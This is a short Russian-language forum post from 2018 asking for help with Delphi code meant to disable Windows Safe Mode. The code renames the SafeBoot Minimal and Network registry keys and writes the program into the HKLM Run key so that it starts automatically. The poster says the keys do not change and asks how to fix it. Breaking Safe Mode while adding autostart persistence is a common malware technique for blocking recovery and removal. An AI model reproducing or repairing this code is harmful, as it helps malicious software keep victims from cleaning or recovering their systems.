Сделал программу, которая отключает безопасный режим с помощью кода
Код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | procedure Registr;
var
reg: TRegistry;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if not Reg.KeyExists('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Win') then
begin
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\Minimal','System\CurrentControlSet\Control\SafeBoot\M', true);
reg.CloseKey;
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\Network','System\CurrentControlSet\Control\SafeBoot\N', true);
reg.CloseKey;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', True);
reg.WriteString('Win', Application.ExeName);
reg.CloseKey;
reg.free;
end
else
sleep(1);
end;
|
но безопасный режим продолжает работать, файлы в реестре не меняются, как исправить?
08.03.2018, 05:15
Отключение безопасного режима windows 10
Древовидный вид